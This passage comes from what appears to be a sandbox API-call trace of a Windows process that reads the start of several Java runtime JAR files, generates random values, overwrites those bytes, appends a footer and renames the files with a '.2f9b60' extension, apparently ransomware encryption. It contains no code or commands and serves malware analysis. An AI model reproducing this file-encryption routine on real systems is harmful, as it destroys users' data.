Seed=0x25bef6b0) returned 0x4115111 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x4bce13e7 [0239.758] RtlRandomEx (in: Seed=0x25bef6b0 | out: Seed=0x25bef6b0) returned 0x3633c267 [0239.768] SetFilePointerEx (in: hFile=0x2c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.768] ReadFile (in: hFile=0x2c54, lpBuffer=0x4240c580, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25bef720, lpOverlapped=0x0 | out: lpBuffer=0x4240c580*, lpNumberOfBytesRead=0x25bef720*=0x3c00, lpOverlapped=0x0) returned 1 [0239.795] SetFilePointerEx (in: hFile=0x2c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61f10 [0239.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8686c0 [0239.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6440 [0239.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6440) returned 1 [0239.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423f2110 [0239.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6440 [0239.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6350 [0239.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6350) returned 1 [0239.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8686c0) returned 1 [0239.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0239.801] WriteFile (in: hFile=0x2c54, lpBuffer=0x423f2110*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25bef720, lpOverlapped=0x0 | out: lpBuffer=0x423f2110*, lpNumberOfBytesWritten=0x25bef720*=0x3c00, lpOverlapped=0x0) returned 1 [0242.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423f2110) returned 1 [0242.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4240c580) returned 1 [0242.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0242.400] SetFilePointerEx (in: hFile=0x2c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0242.400] WriteFile (in: hFile=0x2c54, lpBuffer=0x1cebce00*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x25bef7d0, lpOverlapped=0x0 | out: lpBuffer=0x1cebce00*, lpNumberOfBytesWritten=0x25bef7d0*=0x104, lpOverlapped=0x0) returned 1 [0242.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058510 [0242.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee90 [0242.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7190 [0242.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7190) returned 1 [0242.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0242.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7190 [0242.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b20 [0242.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b20) returned 1 [0242.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 [0242.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0242.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a7b20 [0242.896] sprintf (in: _Dest=0x202a7b20, _Format="%c%c" | out: _Dest="25") returned 2 [0242.896] sprintf (in: _Dest=0x202a7b22, _Format="%c%c" | out: _Dest="88") returned 2 [0242.896] sprintf (in: _Dest=0x202a7b24, _Format="%c%c" | out: _Dest="03") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b26, _Format="%c%c" | out: _Dest="48") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b28, _Format="%c%c" | out: _Dest="c3") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b2a, _Format="%c%c" | out: _Dest="4e") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b2c, _Format="%c%c" | out: _Dest="da") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b2e, _Format="%c%c" | out: _Dest="1d") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b30, _Format="%c%c" | out: _Dest="fa") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b32, _Format="%c%c" | out: _Dest="3e") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b34, _Format="%c%c" | out: _Dest="c1") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b36, _Format="%c%c" | out: _Dest="7d") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b38, _Format="%c%c" | out: _Dest="9b") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b3a, _Format="%c%c" | out: _Dest="9b") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b3c, _Format="%c%c" | out: _Dest="60") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b3e, _Format="%c%c" | out: _Dest="56") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b40, _Format="%c%c" | out: _Dest="70") returned 2 [0242.897] sprintf (in: _Dest=0x202a7b42, _Format="%c%c" | out: _Dest="bd") returned 2 [0242.897] RtlInitAnsiString (in: DestinationString=0x25bef848, SourceString="25880348c34eda1dfa3ec17d9b9b605670bd" | out: DestinationString="25880348c34eda1dfa3ec17d9b9b605670bd") [0242.897] RtlAnsiStringToUnicodeString (in: DestinationString=0x25bef818, SourceString="25880348c34eda1dfa3ec17d9b9b605670bd", AllocateDestinationString=1 | out: DestinationString="25880348c34eda1dfa3ec17d9b9b605670bd") returned 0x0 [0242.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858a30 [0242.898] wcscat (in: _Dest=0x1b85ee90, _Source="25880348c" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\25880348c") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\25880348c" [0242.898] wcscat (in: _Dest=0x1b85ee90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\25880348c.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\25880348c.2f9b60" [0242.898] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\25880348c.2f9b60", NtPathName=0x25bef7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\25880348c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0ab0 Thread: id = 3970 os_tid = 0xcb0 [0238.471] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0239.526] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar", dwFileAttributes=0x20) returned 1 [0239.688] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c70 [0239.713] GetFileSizeEx (in: hFile=0x2c70, lpFileSize=0x2167fa40 | out: lpFileSize=0x2167fa40*=198013) returned 1 [0239.713] SetFilePointerEx (in: hFile=0x2c70, liDistanceToMove=0x30579, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.713] ReadFile (in: hFile=0x2c70, lpBuffer=0x2167f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2167fa08, lpOverlapped=0x0 | out: lpBuffer=0x2167f9c0*, lpNumberOfBytesRead=0x2167fa08*=0x4, lpOverlapped=0x0) returned 1 [0239.715] SetFilePointerEx (in: hFile=0x2c70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0239.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7af0 [0239.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0239.716] NtQuerySystemTime (in: CurrentTime=0x2167f900 | out: CurrentTime=0x2167f900*=132462178435234000) returned 0x0 [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x36fd42a6 [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x2e1f61ad [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x4543f5e7 [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x1e732b22 [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x5fbad5a8 [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x6e3a14f [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x484f697a [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x294dbaa7 [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x63cd17b5 [0239.716] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x8e765e5 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x258260f0 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x342c7131 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x4ea960eb [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x5ae8f997 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x1e58dac4 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x6d9104e6 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x30e8f784 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x442f881a [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x355560d4 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x598cf826 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x5580ec0a [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x219aa4ad [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x4e4dae67 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x7e89bc7a [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x46a3fc92 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x6a2906d8 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x78b0abc4 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x169ac6f8 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x23f62f55 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x231bbda6 [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x305c547e [0239.717] RtlRandomEx (in: Seed=0x2167f8f0 | out: Seed=0x2167f8f0) returned 0x652db717 [0239.727] SetFilePointerEx (in: hFile=0x2c70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.727] ReadFile (in: hFile=0x2c70, lpBuffer=0x42401150, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2167f960, lpOverlapped=0x0 | out: lpBuffer=0x42401150*, lpNumberOfBytesRead=0x2167f960*=0x3c00, lpOverlapped=0x0) returned 1 [0239.734] SetFilePointerEx (in: hFile=0x2c70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61f10 [0239.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8686c0 [0239.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0239.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7580) returned 1 [0239.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424179b0 [0239.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0239.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0239.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0239.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8686c0) returned 1 [0239.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0239.739] WriteFile (hFile=0x2c70, lpBuffer=0x424179b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2167f960, lpOverlapped=0x0) Thread: id = 3971 os_tid = 0xcb8 [0238.471] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0239.552] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar", dwFileAttributes=0x20) returned 1 [0239.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2be4 [0239.815] GetFileSizeEx (in: hFile=0x2be4, lpFileSize=0x3339fb40 | out: lpFileSize=0x3339fb40*=30695) returned 1 [0239.815] SetFilePointerEx (in: hFile=0x2be4, liDistanceToMove=0x77e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.815] ReadFile (in: hFile=0x2be4, lpBuffer=0x3339fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3339fb08, lpOverlapped=0x0 | out: lpBuffer=0x3339fac0*, lpNumberOfBytesRead=0x3339fb08*=0x4, lpOverlapped=0x0) returned 1 [0239.854] SetFilePointerEx (in: hFile=0x2be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0239.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ce0 [0239.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e80 [0239.855] NtQuerySystemTime (in: CurrentTime=0x3339fa00 | out: CurrentTime=0x3339fa00*=132462178436638000) returned 0x0 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x7954dbe1 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x49549ebc [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0xbf9ee7a [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x1ac1b6e7 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0xddbbe18 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x73515b3 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x3cd2471a [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x231c4c3 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x7b4000d1 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x7d7aabae [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x5ff073c [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x6c6e1567 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x4d3b4c39 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x6c8a866b [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x6c714378 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x2c194142 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x6fccf6f6 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0xa541980 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x75703729 [0239.855] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x2006cef4 [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x2353d50 [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x7d3d50f5 [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x54281247 [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x2205d509 [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x393ebeb [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x1b97051d [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x39b5baf0 [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0xf664df3 [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x5650f792 [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x392bca78 [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x53c8f36c [0239.856] RtlRandomEx (in: Seed=0x3339f9f0 | out: Seed=0x3339f9f0) returned 0x68ccfffb [0239.865] SetFilePointerEx (in: hFile=0x2be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.865] ReadFile (in: hFile=0x2be4, lpBuffer=0x202db560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3339fa60, lpOverlapped=0x0 | out: lpBuffer=0x202db560*, lpNumberOfBytesRead=0x3339fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0239.910] SetFilePointerEx (in: hFile=0x2be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce63090 [0239.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0239.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e80 [0239.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7e80) returned 1 [0239.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d7950 [0239.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e80 [0239.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0239.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a60) returned 1 [0239.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0239.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63090) returned 1 [0239.916] WriteFile (in: hFile=0x2be4, lpBuffer=0x202d7950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3339fa60, lpOverlapped=0x0 | out: lpBuffer=0x202d7950*, lpNumberOfBytesWritten=0x3339fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0242.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d7950) returned 1 [0242.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202db560) returned 1 [0242.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a7790 [0242.429] SetFilePointerEx (in: hFile=0x2be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0242.429] WriteFile (in: hFile=0x2be4, lpBuffer=0x42c14510*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3339fb10, lpOverlapped=0x0 | out: lpBuffer=0x42c14510*, lpNumberOfBytesWritten=0x3339fb10*=0x10c, lpOverlapped=0x0) returned 1 [0242.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058510 [0242.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d510 [0242.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b8c0 [0242.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b8c0) returned 1 [0242.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82b8c0 [0242.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b770 [0242.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0242.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b590) returned 1 [0242.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d510) returned 1 [0242.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0242.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431acce0 [0242.923] sprintf (in: _Dest=0x431acce0, _Format="%c%c" | out: _Dest="1a") returned 2 [0242.923] sprintf (in: _Dest=0x431acce2, _Format="%c%c" | out: _Dest="36") returned 2 [0242.923] sprintf (in: _Dest=0x431acce4, _Format="%c%c" | out: _Dest="dd") returned 2 [0242.923] sprintf (in: _Dest=0x431acce6, _Format="%c%c" | out: _Dest="31") returned 2 [0242.923] sprintf (in: _Dest=0x431acce8, _Format="%c%c" | out: _Dest="61") returned 2 [0242.923] sprintf (in: _Dest=0x431accea, _Format="%c%c" | out: _Dest="7f") returned 2 [0242.923] sprintf (in: _Dest=0x431accec, _Format="%c%c" | out: _Dest="6c") returned 2 [0242.923] sprintf (in: _Dest=0x431accee, _Format="%c%c" | out: _Dest="38") returned 2 [0242.923] sprintf (in: _Dest=0x431accf0, _Format="%c%c" | out: _Dest="48") returned 2 [0242.923] sprintf (in: _Dest=0x431accf2, _Format="%c%c" | out: _Dest="07") returned 2 [0242.923] sprintf (in: _Dest=0x431accf4, _Format="%c%c" | out: _Dest="83") returned 2 [0242.923] sprintf (in: _Dest=0x431accf6, _Format="%c%c" | out: _Dest="b6") returned 2 [0242.924] sprintf (in: _Dest=0x431accf8, _Format="%c%c" | out: _Dest="11") returned 2 [0242.924] sprintf (in: _Dest=0x431accfa, _Format="%c%c" | out: _Dest="7f") returned 2 [0242.924] sprintf (in: _Dest=0x431accfc, _Format="%c%c" | out: _Dest="71") returned 2 [0242.924] sprintf (in: _Dest=0x431accfe, _Format="%c%c" | out: _Dest="d4") returned 2 [0242.924] sprintf (in: _Dest=0x431acd00, _Format="%c%c" | out: _Dest="d7") returned 2 [0242.924] sprintf (in: _Dest=0x431acd02, _Format="%c%c" | out: _Dest="0d") returned 2 [0242.924] sprintf (in: _Dest=0x431acd04, _Format="%c%c" | out: _Dest="0c") returned 2 [0242.924] sprintf (in: _Dest=0x431acd06, _Format="%c%c" | out: _Dest="57") returned 2 [0242.924] sprintf (in: _Dest=0x431acd08, _Format="%c%c" | out: _Dest="9a") returned 2 [0242.924] sprintf (in: _Dest=0x431acd0a, _Format="%c%c" | out: _Dest="17") returned 2 [0242.924] sprintf (in: _Dest=0x431acd0c, _Format="%c%c" | out: _Dest="37") returned 2 [0242.924] sprintf (in: _Dest=0x431acd0e, _Format="%c%c" | out: _Dest="d4") returned 2 [0242.924] sprintf (in: _Dest=0x431acd10, _Format="%c%c" | out: _Dest="f5") returned 2 [0242.924] sprintf (in: _Dest=0x431acd12, _Format="%c%c" | out: _Dest="30") returned 2 [0242.924] RtlInitAnsiString (in: DestinationString=0x3339fb88, SourceString="1a36dd31617f6c38480783b6117f71d4d70d0c579a1737d4f530" | out: DestinationString="1a36dd31617f6c38480783b6117f71d4d70d0c579a1737d4f530") [0242.924] RtlAnsiStringToUnicodeString (in: DestinationString=0x3339fb58, SourceString="1a36dd31617f6c38480783b6117f71d4d70d0c579a1737d4f530", AllocateDestinationString=1 | out: DestinationString="1a36dd31617f6c38480783b6117f71d4d70d0c579a1737d4f530") returned 0x0 [0242.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85f090 [0242.925] wcscat (in: _Dest=0x431d8840, _Source="1a36dd31617f6" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\1a36dd31617f6") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\1a36dd31617f6" [0242.925] wcscat (in: _Dest=0x431d8840, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\1a36dd31617f6.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\1a36dd31617f6.2f9b60" [0242.925] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\1a36dd31617f6.2f9b60", NtPathName=0x3339fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\1a36dd31617f6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce10a50 Thread: id = 3972 os_tid = 0xcbc [0238.472] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files 